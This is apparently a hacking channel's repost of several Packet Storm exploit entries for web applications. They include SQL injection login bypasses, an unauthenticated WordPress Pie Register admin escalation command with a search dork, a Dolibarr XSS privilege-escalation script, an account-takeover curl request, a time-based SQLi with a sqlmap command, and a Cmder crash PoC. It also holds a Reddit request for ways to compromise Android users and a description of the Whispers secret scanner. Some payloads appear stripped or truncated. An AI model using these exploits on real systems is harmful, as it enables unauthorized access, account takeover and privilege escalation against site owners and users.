Exploit Collector
django-unicorn 0.35.3 Cross Site Scripting

https://2.bp.blogspot.com/-weqZA-ftzQE/WWlvbeJCv3I/AAAAAAAAIPM/_poAex3uv6ENktRwTJkjqdNNBZYRKBnvQCLcBGAs/s1600/h74.png
django-unicorn versions 0.35.3 and below suffer from persistent cross site scripting vulnerability.

MD5 | 3e1eaca5d1e44c6dfb0341c2660a27af

Download
# Exploit Title: django-unicorn 0.35.3 - Stored Cross-Site Scripting (XSS)
# Date: 10/7/21
# Exploit Author: Raven Security Associates, Inc. (ravensecurity.net)
# Software Link: https://pypi.org/project/django-unicorn/
# Version: <=
# CVE: CVE-2021-42053

django-unicorn <=

Step 1: Go to www.django-unicorn.com/unicorn/message/todo
Step 2: Enter an xss payload in the todo form (https://portswigger.net/web-security/cross-site-scripting/cheat-sheet).
POC:

POST /unicorn/message/todo HTTP/2
Host: www.django-unicorn.com
Cookie: csrftoken=EbjPLEv70y1yPrNMdeFg9pH8hNVBgkrepSzuMM9zi6yPviifZKqQ3uIPJ4hsFq3z
Content-Length: 258
Sec-Ch-Ua: "";Not A Brand"";v=""99"", ""Chromium"";v=""94""
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36
Content-Type: text/plain;charset=UTF-8
Accept: application/json
X-Requested-With: XMLHttpRequest
X-Csrftoken: EbjPLEv70y1yPrNMdeFg9pH8hNVBgkrepSzuMM9zi6yPviifZKqQ3uIPJ4hsFq3z
Sec-Ch-Ua-Platform: ""Linux""
Origin: https://www.django-unicorn.com
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://www.django-unicorn.com/examples/todo
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9

{""id"":""Q43GSmJh"",""data"":{""task"":"""",""tasks"":[]},""checksum"":""4ck2yTwX"",""actionQueue"":[{""type"":""syncInput"",""payload"":{""name"":""task"",""value"":""x ""}},{""type"":""callMethod"",""payload"":{""name"":""add""},""partial"":{}}],""epoch"":1633578678871}

-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------

HTTP/2 200 OK
Date: Thu, 07 Oct 2021 03:51:18 GMT
Content-Type: application/json
X-Frame-Options: DENY
X-Content-Type-Options: nosniff
Referrer-Policy: same-origin
Via: 1.1 vegur
Cf-Cache-Status: DYNAMIC
Expect-Ct: max-age=604800, report-uri=""https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct""
Report-To: {""endpoints"":[{""url"":""https:\/\/a.nel.cloudflare.com\/report\/v3?s=b4nQavto8LK9ru7JfhbNimKP71ZlMtduJTy6peHCwxDVWBH2Mkn0f7O%2FpWFy1FgPTd6Z6FmfkYUw5Izn59zN6kTQmjNjddiPWhWCWZWwOFiJf45ESQxuxr44UeDv3w51h1Ri6ESnNE5Y""}],""group"":""cf-nel"",""max_age"":604800}
Nel: {""success_fraction"":0,""report_to"":""cf-nel"",""max_age"":604800}
Server: cloudflare
Cf-Ray: 69a42b973f6a6396-ORD
Alt-Svc: h3="":443""; ma=86400, h3-29="":443""; ma=86400, h3-28="":443""; ma=86400, h3-27="":443""; ma=86400

{""id"": ""Q43GSmJh"", ""data"": {""tasks"": [""x ""]}, ""errors"": {}, ""checksum"": ""ZQn54Ct4"", ""dom"": ""
\n\n\n\nAdd\n
\n\n
* x \n
\nClear all tasks\n
\n
\n"", ""return"": {""method"": ""add"", ""params"": [], ""value"": null}}"
"ENDTEXT"


Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Loan Management System 1.0 SQL Injection

https://4.bp.blogspot.com/-B5GiRC1v-wQ/WWlu5E53nEI/AAAAAAAAIJE/W3BLkm7Hy_YnB0vtTzhGYY_ZESaF8C84ACLcBGAs/s1600/h105.png
Loan Management System version 1.0 suffers from a remote SQL injection vulnerability that allows for authentication bypass.

MD5 | 908df8dec45930df9a58c1149a71b1ea

Download
# Exploit Title: Loan Management System 1.0 - SQLi Authentication Bypass
# Date: 08.10.2021
# Exploit Author: Merve Oral
# Vendor Homepage: https://www.sourcecodester.com/php/14471/loan-management-system-using-phpmysql-source-code.html
# Software Link: https://www.sourcecodester.com/download-code?nid=14471&title=Loan+Management+System+using+PHP%2FMySQL+with+Source+Code
# Version: 1.0
# Tested on: Windows 10, Kali Linux
# Loan Management System Login page can be bypassed with a simple SQLi to the username parameter.

Steps To Reproduce:
1 - Go to the login page http://localhost/audit_trail/login.php
2 - Enter the payload to username field as "admin' or '1'='1'#" without double-quotes and type anything to password field.
3 - Click on "Login" button and you are logged in as administrator.

PoC

POST /loan/ajax.php?action=login HTTP/1.1
Host: merve
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 44
Origin: http://merve
Connection: close
Referer: http://merve/loan/login.php
Cookie: PHPSESSID=911fclrpoa87v9dsp9lh28ck0h

username=admin'+or+'1'%3D'1'%23&password=any

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
WordPress Pie Register 3.7.1.4 Privilege Escalation

https://3.bp.blogspot.com/-D2NV3HnXxpM/WWlu9YoBNhI/AAAAAAAAIJs/rLrqFdeLLWYSGUQPyN0O7DuhnXu7T_FjQCLcBGAs/s1600/h114.png
WordPress Pie Register plugin versions 3.7.1.4 and below suffer from a privilege escalation vulnerability.

MD5 | 7ec9c60f78dd0f8de990554a97f7720f

Download
# Exploit Title: WordPress Plugin Pie Register 3.7.1.4 - Admin Privilege Escalation (Unauthenticated)
# Google Dork: inurl:/plugins/pie-register/
# Date: 08.10.2021
# Exploit Author: Lotfi13-DZ
# Vendor Homepage: https://wordpress.org/plugins/pie-register/
# Software Link: https://downloads.wordpress.org/plugin/pie-register.3.7.1.4.zip
# Version: <=
# Tested on: ubuntu

Vulnerable arg: [user_id_social_site=1] <==

Exploit: wget -q -S -O - http://localhost/ --post-data 'user_id_social_site=1&social_site=true&piereg_login_after_registration=true&_wp_http_referer=/login/&log=null&pwd=null' > /dev/null


Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Dolibarr ERP / CRM 14.0.2 Cross Site Scripting / Privilege Escalation

https://4.bp.blogspot.com/-42b-8Yu8ql4/WWlvfoDuyhI/AAAAAAAAIQE/GMGQD7Uo7DMncRccI_LNcWgfvYRkd0zwQCLcBGAs/s1600/h86.png
Dolibarr ERP and CRM 14.0.2 suffers from a persistent cross site scripting vulnerability that enables privilege escalation.

MD5 | 5b352ca021c58bad4e863d0e152f8840

Download
# Exploit Title: Dolibarr ERP & CRM v14.0.2 Stored XSS / Privilege Escalation
# Exploit Author: Oscar Gutierrez (m4xp0w3r)
# Date: October 9, 2021
# Vendor Homepage: https://www.dolibarr.org/
# Software Link: https://github.com/Dolibarr
# Tested on: Ubuntu, LAAMP
# Vendor: Dolibarr
# Version: v14.0.2
# Exploit Description:
# Dolibarr ERP & CRM v14.0.2 suffers from a stored XSS vulnerability in the ticket creation flow that allows a low level user (with full access to the Tickets module) to achieve full permissions. For this attack vector to work, an administrator user needs to copy the text in the "message" box.
# Instructions:
#1. Insert this payload in the message box when creating a ticket: ">test
#
#2. Host this file (Change the extension of the file to js and remove comments) in a remote http location of your preference.
#NOTE: The user id in /dolibarr/htdocs/user/perms.php?id=2 may vary depending on the installation so you might have to change this. In my case, I had only 2 users, user 2 being the low level user.
#
#3.Once an administrator user copies the text within the ticket the attack will launch.

function read_body(xhr) {

var data = xhr.responseXML;
var tokenizedUrl = data.getElementsByClassName("reposition commonlink")[0].href;
console.log(tokenizedUrl);
return tokenizedUrl;

}

function escalatePrivs() {
var url = read_body(xhr);
var http = new XMLHttpRequest();
http.open('GET', url);
http.onreadystatechange = function() {
if (this.readyState === XMLHttpRequest.DONE && this.status === 200) {
return;
}
};
http.send(null);
}

var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
if (xhr.readyState == XMLHttpRequest.DONE) {
read_body(xhr);
escalatePrivs(xhr);
}
}
xhr.open('GET', '/dolibarr/htdocs/user/perms.php?id=2', true);

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Cmder Console Emulator 1.3.18 Denial Of Service

https://4.bp.blogspot.com/-gQsa2Au6OFw/WWlvKe9cGFI/AAAAAAAAIME/7MuhuX3Jqy0CeEu0oyVXmXST8BDpKvIGgCLcBGAs/s1600/h15.png
Cmder Console Emulator version 1.3.18 suffers from a denial of service vulnerability.

MD5 | 3260120dfeee86831ae3e9e3635b49bc

Download
# Exploit Title: Cmder Console Emulator 1.3.18 - 'Cmder.exe' Denial-of-Service (PoC)
# Date: 2021-10-07
# Exploit Author: Aryan Chehreghani
# Vendor Homepage: https://cmder.net
# Software Link: https://github.com/cmderdev/cmder/releases/download/v1.3.18/cmder.zip
# Version: v1.3.18
# Tested on: Windows 10

# [About - Cmder Console Emulator] :

#Cmder is a software package created over absence of usable console emulator on Windows.
#It is based on ConEmu with major config overhaul, comes with a Monokai color scheme, amazing clink (further enhanced by clink-completions) and a custom prompt layout.

# [Security Issue] :

#equires the execution of a .cmd file type and The created file enters the emulator ,That will trigger the buffer overflow condition.
#E.g λ cmder.cmd

# [POC] :

PAYLOAD=chr(235) + "\\CMDER"
PAYLOAD = PAYLOAD * 3000
with open("cmder.cmd", "w") as f:
f.write(PAYLOAD)


Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Online Employees Work From Home Attendance System 1.0 SQL Injection

https://2.bp.blogspot.com/-ByzpbsJwjwM/WWlvDah6qTI/AAAAAAAAIKw/aSK5mfOx92wd9uyx7MAye8LQyS91plczwCLcBGAs/s1600/h13.png
Online Employees Work From Home Attendance System version 1.0 suffers from a remote SQL injection vulnerability that allows for authentication bypass.

MD5 | 0f199816bb5eb94fffd8c5ab9afac30a

Download
# Exploit Title: Online Employees Work From Home Attendance System 1.0 - SQLi Authentication Bypass
# Date: 08.10.2021
# Exploit Author: Merve Oral
# Vendor Homepage: https://www.sourcecodester.com/php/14981/online-employees-work-home-attendance-system-php-and-sqlite-free-source-code.html
# Software Link: https://www.sourcecodester.com/download-code?nid=14981&title=Online+Employees+Work+From+Home+Attendance+System+in+PHP+and+SQLite+Free+Source+Code
# Version: 1.0
# Tested on: Windows 10, Kali Linux
# Online Employees Work From Home Attendance System/Logs in a Web App v1.0 Login page can be bypassed with a simple SQLi to the username parameter.

Steps To Reproduce:
1 - Go to the login page http://localhost/audit_trail/login.php
2 - Enter the payload to username field as "admin' or '1'='1" without double-quotes and type anything to password field.
3 - Click on "Login" button and you are logged in as administrator.

PoC

POST /wfh_attendance/Actions.php?a=login HTTP/1.1
Host: merve
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 40
Origin: http://merve
Connection: close
Referer: http://merve/wfh_attendance/admin/login.php
Cookie: PHPSESSID=55nnlgv0kg2qaki92o2s9vl5rq

username=admin'+or+'1'%3D'1&password=any


Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Simple Online College Entrance Exam System 1.0 Account Takeover

https://4.bp.blogspot.com/-xhbT4GX8v9w/WWlvF89jtmI/AAAAAAAAILM/fSSkvnm11QwzZu21RJEqwX2S4icQcxCngCLcBGAs/s1600/h136.png
Simple Online College Entrance Exam System version 1.0 suffers from an account takeover vulnerability.

MD5 | 926ceb91ddfc68d28ba54bb2aa0efc50

Download
# Exploit Title: Simple Online College Entrance Exam System 1.0 - Account Takeover
# Date: 07.10.2021
# Exploit Author: Amine ismail @aminei_
# Vendor Homepage: https://www.sourcecodester.com/php/14976/simple-online-college-entrance-exam-system-php-and-sqlite-free-source-code.html
# Software Link: https://www.sourcecodester.com/download-code?nid=14976&title=Simple+Online+College+Entrance+Exam+System+in+PHP+and+SQLite+Free+Source+Code
# Version: 1.0
# Tested on: Windows 10, Kali Linux
# Unauthenticated password change leading to account takeover

Explanation: By setting the parameter old_password as array, the MD5 function on it returns null, so md5($old_password) == $_SESSION['password'] since we have no session, thus bypassing the check, after that we can use SQLI and inject our custom data.

Request:
POST /entrance_exam/Actions.php?a=update_credentials HTTP/1.1
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Content-Length: 129

id=4&username=test',`password`='916b5dbd201b469998d9b4a4c8bc4e08'+WHERE+admin_id=4;%23&password=commented_out&old_password[]=test

Vulnerable code in Actions.php:
function update_credentials(){
extract($_POST);
$data = "";
foreach($_POST as $k => $v){
if(!in_array($k,array('id','old_password')) && !empty($v)){
if(!empty($data)) $data .= ",";
if($k == 'password') $v = md5($v);
$data .= " `{$k}` = '{$v}' ";
}
}
...
if(!empty($password) && md5($old_password) != $_SESSION['password']){
$resp['status'] = 'failed';
$resp['msg'] = "Old password is incorrect.";
}else{
$sql = "UPDATE `admin_list` set {$data} where admin_id = '{$_SESSION['admin_id']}'";
@$save = $this->query($sql);

PoC that changes the password and username of user 'admin' to 'exploitdb':
curl -d "username=exploitdb',%60password%60='916b5dbd201b469998d9b4a4c8bc4e08' WHERE admin_id=1;%23&password=useless&old_password[]=useless" -X POST 'http://127.0.0.1/entrance_exam/Actions.php?a=update_credentials'


Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
IFSC Code Finder Project 1.0 SQL Injection

https://3.bp.blogspot.com/-IdvtX_t6dWw/WWlvCDhzudI/AAAAAAAAIKg/xbP9RqLektQzycUDwAlgxfpiSc2tZZpAwCLcBGAs/s1600/h126.png
IFSC Code Finder Project version 1.0 suffers from a remote SQL injection vulnerability.

MD5 | 7c851fc475ce2325542258f58cc3bd96

Download
# Title: IFSC Code Finder Project 1.0 - SQL injection (Unauthenticated)
# Exploit Author: Yash Mahajan
# Date: 2021-10-07
# Vendor Homepage: https://phpgurukul.com/ifsc-code-finder-project-using-php/
# Version: 1
# Software Link: https://phpgurukul.com/?smd_process_download=1&download_id=14478
# Tested On: Windows 10, XAMPP
# Vulnerable Parameter: searchifsccode

Steps to Reproduce:

1) Navigate to http://127.0.0.1/ifscfinder/ enter any number in search field and capture request in burpsuite.
2) Paste below request into burp repeater and also create a txt file and paste this request.

Request:
========
POST /ifscfinder/search.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:92.0) Gecko/20100101 Firefox/92.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 79
Origin: http://127.0.0.1
Connection: close
Referer: http://127.0.0.1/ifscfinder/
Cookie: PHPSESSID=5877lg2kv4vm0n5sb8e1eb0d0k
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1

searchifsccode=')+AND+(SELECT+3757+FROM+(SELECT(SLEEP(20)))lygy)--+fvnT&search=

--------------------------------------------------------------------------------
3) You will see a time delay of 20 Sec in response.
4) python sqlmap.py -r request.txt -p searchifsccode --dbs
5) We can retrieve all databases using above sqlmap command


Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Offensive Cloud Security - SecurityLabs
https://www.reddit.com/r/redteamsec/comments/q43zmc/offensive_cloud_security_securitylabs/

Hey everyone, We are excited to share the first Offensive Cloud Security platform being released for early access. Signup now and be among the first few to get exclusive access and upscale yourself :) Visit : SecurityLabs (https://www.securitylabs.tech/) -- Founder 0xdeadbeef0000 submitted by /u/0xdeadbeef0000 (https://www.reddit.com/user/0xdeadbeef0000)
[link] (https://www.reddit.com/r/redteamsec/comments/q43zmc/offensive_cloud_security_securitylabs/) [comments] (https://www.reddit.com/r/redteamsec/comments/q43zmc/offensive_cloud_security_securitylabs/)

___________________________
@hacking_Attack
@Hacking_Video

Need help targetting users via android phone
https://www.reddit.com/r/redteamsec/comments/q451vr/need_help_targetting_users_via_android_phone/

Hi all, Next week, I will start working on a red team project which involves social engineering mobile only users. General email phishing with macro docs won't work. I am looking for ways to compromise users via their phone. Other than writing custom backdoored apks and luring victims to install them. Is there any other way to compromise the android phone? Also, custom apks might be flagged by Google Play Protect. submitted by /u/lutalop (https://www.reddit.com/user/lutalop)
[link] (https://www.reddit.com/r/redteamsec/comments/q451vr/need_help_targetting_users_via_android_phone/) [comments] (https://www.reddit.com/r/redteamsec/comments/q451vr/need_help_targetting_users_via_android_phone/)

___________________________
@hacking_Attack
@Hacking_Video

Black Hat Ethical Hacking
Offensive Security Tool: Whispers

https://www.blackhatethicalhacking.com/wp-content/uploads/2021/08/Untitled-design-2-1.png Offensive Security Tool: WhispersPost Views: 230 https://www.blackhatethicalhacking.com/wp-content/uploads/2021/08/BECOME-A-PATRON-AND-UNLOCK-EXCLUSIVE-VIDEOS-1.png Reading Time: 4 Minutes

Offensive Security Tool: Whispers GitHub Link WhispersHardcoded secrets have always been a problem in organizations and are one of the first things Bug Bounty Hunters / Pentesters look for during a penetration test. When developers write secrets such as passwords and API keys directly into source code, these secrets can make their way to public repos or application packages, then into an attacker’s hands. As microservice architectures and API-centric applications become mainstream, developers often need to exchange credentials and other secrets programmatically. This means that developers can sometimes make mistakes when handling sensitive data.

Whispers by Skyscanner, is a static code analysis tool designed for parsing various common data formats in search of hardcoded credentials and dangerous functions. Whispers can run in the CLI or you can integrate it in your CI/CD pipeline. Detects* Passwords
* API tokens
* AWS keys
* Private keys
* Hashed credentials
* Authentication tokens
* Dangerous functions
* Sensitive files
See Also: Microsoft is disabling Excel 4.0 macros by default to protect users Supported FormatsWhispers is intended to be a structured text parser, not a code parser.

The following commonly used formats are currently supported:

* YAML
* JSON
* XML
* npmrc
* pypirc
* htpasswd
* properties
* pip.conf
* conf / ini
* Dockerfile
* Dockercfg
* Shell scripts
* Python3
Python3 files are parsed as ASTs because of native language support.
See Also: Offensive Security & Ethical Hacking Course Declaration & Assignment FormatsThe following language files are parsed as text, and checked for common variable declaration and assignment patterns:

* JavaScript
* Java
* Go
* PHP Special Formats* AWS credentials files
* JDBC connection strings
* Jenkins config files
* SpringFramework Beans config files
* Java Properties files
* Dockercfg private registry auth files
* Github tokens InstallationFrom PyPIpip3 install whispers From GitHubgit clone https://github.com/Skyscanner/whispers
cd whispers
make install UsageCLIwhispers –help
whispers –info
whispers source/code/fileOrDir
whispers –config config.yml source/code/fileOrDir
whispers –output /tmp/secrets.yml source/code/fileOrDir
whispers –rules aws-id,aws-secret source/code/fileOrDir
whispers –severity BLOCKER,CRITICAL source/code/fileOrDir
whispers –exitcode 7 source/code/fileOrDir Pythonfrom whispers.cli import parse_args
from whispers.core import run

src = “tests/fixtures”
configfile = “whispers/config.yml”
args = parse_args([“-c”, configfile, src])
for secret in run(args):
print(secret) ConfigThere are several configuration options available in Whispers. It’s possible to include/exclude results based on file path, key, or value. File path specifications are interpreted as globs. Keys and values accept regular expressions and several other parameters. There is a default configuration file built-in that will be used if you don’t provide a custom one.

config.yml should have the following structure:

include:
files:
– “**/*.yml”

exclude:
files:
– “**/test/**/*”
– “**/tests/**/*”
keys:
– ^foo
values:
– bar$

rules:
starks:
message: Whispers from the North
severity: CRITICAL
value:
regex: (Aria|Ned) Stark
ignorecase: True
The fastest way to tweak detection (ie: remove false positives and unwanted results) is[...]

___________________________
@hacking_Attack
@Hacking_Video